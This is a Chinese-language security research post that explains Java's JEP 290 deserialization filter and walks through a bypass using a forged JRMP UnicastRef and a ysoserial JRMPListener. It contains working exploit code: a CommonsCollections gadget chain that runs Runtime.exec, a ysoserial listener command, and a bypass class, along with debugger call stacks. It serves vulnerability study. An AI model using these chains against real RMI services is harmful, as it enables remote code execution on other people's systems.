JEP290 是 Java 底层为了缓解反序列化攻击提出的一种解决方案,主要做了以下几件事:
1、提供一个限制反序列化类的机制,使用白名单或者黑名单。 2、限制反序列化的深度和复杂度。 3、为 RMI 远程调用对象提供了一个验证类的机制。 4、定义一个可配置的过滤机制,比如可以通过配置 properties 文件的形式来定义过滤器。
JEP 290 在 JDK 9 中引入,并回移到 JDK 8u121、7u131 和 6u141。
0x01 JEP290 防御手段分析 使用的是8u121
服务端: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map; public class AttackRegistryEXP { public static void main(String[] args) throws Exception{ Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); InvocationHandler handler = (InvocationHandler) CC1(); Remote remote = Remote.class.cast(Proxy.newProxyInstance( Remote.class.getClassLoader(),new Class[] { Remote.class }, handler)); registry.rebind("test",remote); } public static Object CC1() throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("value","drunkbaby"); Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true); Object o = aihConstructor.newInstance(Target.class, transformedMap); return o; } }
客户端: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package org.example; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class EvilClassServer { public static void main(String[] args) throws RemoteException, AlreadyBoundException { User liming = new com.ldapserver.ServerReturnObject("liming",15); Registry registry = LocateRegistry.createRegistry(1099); registry.bind("user",liming); System.out.println("registry is running..."); System.out.println("liming is bind in registry"); } }
通过描述来看对应增加的 Filter 点是什么,找到了 ObjectInputFilter 相关的类
动态调试: 先动态调试服务端,在启动客户端,在客户端这里打断点java.io.ObjectInputStream#filterCheck
而 filterCheck() 方法又调用了 checkInput() 方法,这里应该是最终来判断输入是否合法的地方。直接跟进
然后跟进到这里,当传入的类不属于白名单的内容时,过滤器就会返回 Status.REJECTED,反序列化过程会立即中止,并抛出异常
1 2 3 4 5 6 7 8 9 String.class Number .class Remote .class Proxy .class UnicastRef .class RMIClientSocketFactory .class RMIServerSocketFactory .class ActivationID .class UID .class
0x02 JEP290 绕过 JRMP 的这一步,能够绕过,伪造了一个 UnicastRef (封装了与远程对象通信所需的全部信息和方法)用于跟注册中心通信
早期的JEP290防护主要针对的是RMI注册表本身 这个入口。但当注册表作为客户端与JRMP服务端建立连接后,后续的通信(特别是DGC - 分布式垃圾回收 环节)在JDK 8u231之前的版本中,反序列化过滤器的设置存在漏洞或未被完全覆盖,因此,恶意JRMP服务端在DGC交互过程中,向注册表(此时它是客户端)发送封装了CommonsCollections5链的序列化数据时,这次反序列化操作不再受到严格的白名单限制 ,从而成功触发命令执行
环境搭建 先用 ysoserial 开启 JRMP 3333 端口的监听
1 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "Calc"
然后编写 RMI 的 EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import sun.rmi.server.UnicastRef;import sun.rmi.transport.LiveRef;import sun.rmi.transport.tcp.TCPEndpoint;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Proxy;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.ObjID;import java.rmi.server.RemoteObjectInvocationHandler;import java.util.Random;public class BypassJEP290 { public static void main (String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException { Registry registry = LocateRegistry.createRegistry(1099 ); Registry reg = LocateRegistry.getRegistry("localhost" ,1099 ); ObjID id = new ObjID (new Random ().nextInt()); TCPEndpoint te = new TCPEndpoint ("127.0.0.1" , 3333 ); UnicastRef ref = new UnicastRef (new LiveRef (id, te, false )); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler (ref); Registry proxy = (Registry) Proxy.newProxyInstance(BypassJEP290.class.getClassLoader(), new Class [] { Registry.class }, obj); reg.bind("Hello" ,proxy); } }
动态调试 在reg.bind(“Hello”,proxy);断点进入,当我们调用 bind 方法后,会通过 UnicastRef 对象中存储的信息与注册中心进行通信
这里会通过 ref 与注册中心通信,并将绑定的对象名称以及要绑定的远程对象发过去,注册中心在后续会对应进行反序列化
接着来看看 yso 中的 JRMPClient 是做了什么操作
1 2 3 4 5 6 7 8 ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, obj); return proxy;
这里返回了一个代理对象,上面用的这些类都在白名单里,当注册中心反序列化时,会调用到RemoteObjectInvacationHandler父类RemoteObject的readObject方法(因为RemoteObjectInvacationHandler没有readObject方法),在readObject里的最后一行会调用ref.readExternal方法,并将ObjectInputStream传进去:
这里的调用栈非常长,总体上来说就是在做我上面所说的工作,调用栈如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 readObject:455, RemoteObject (java.rmi.server) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeReadObject:1170, ObjectStreamClass (java.io) readSerialData:2178, ObjectInputStream (java.io) readOrdinaryObject:2069, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) defaultReadFields:2287, ObjectInputStream (java.io) readSerialData:2211, ObjectInputStream (java.io) readOrdinaryObject:2069, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) readObject:431, ObjectInputStream (java.io) // 从此处开始,会遇到很多字节码不匹配的问题 dispatch:92, RegistryImpl_Skel (sun.rmi.registry) oldDispatch:469, UnicastServerRef (sun.rmi.server) dispatch:301, UnicastServerRef (sun.rmi.server) run:200, Transport$1 (sun.rmi.transport) run:197, Transport$1 (sun.rmi.transport) doPrivileged:-1, AccessController (java.security) serviceCall:196, Transport (sun.rmi.transport) handleMessages:573, TCPTransport (sun.rmi.transport.tcp) run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) run:-1, 1330984495 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5) doPrivileged:-1, AccessController (java.security) run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) runWorker:1149, ThreadPoolExecutor (java.util.concurrent) run:624, ThreadPoolExecutor$Worker (java.util.concurrent) run:748, Thread (java.lang)
一路跟进到 sun.rmi.transport.LiveRef#read
可以看到这里把 payload 里所传入的 LiveRef 解析到 var5 变量处,里面包含了 ip 与 端口 信息(JRMPListener 的端口)。这些信息将用于后面注册中心与 JRMP 端建立通信。
跟进 saveRef() 方法,里面做了一个映射,其建立了一个 TCPEndpoint 到 ArrayList<LiveRef> 的映射关系。
到这里 JRMP 的通信流程基本结束了,接着再回到 dispatch() 方法,在调用了 readObject 方法之后调用了 var2.releaseInputStream();,跟进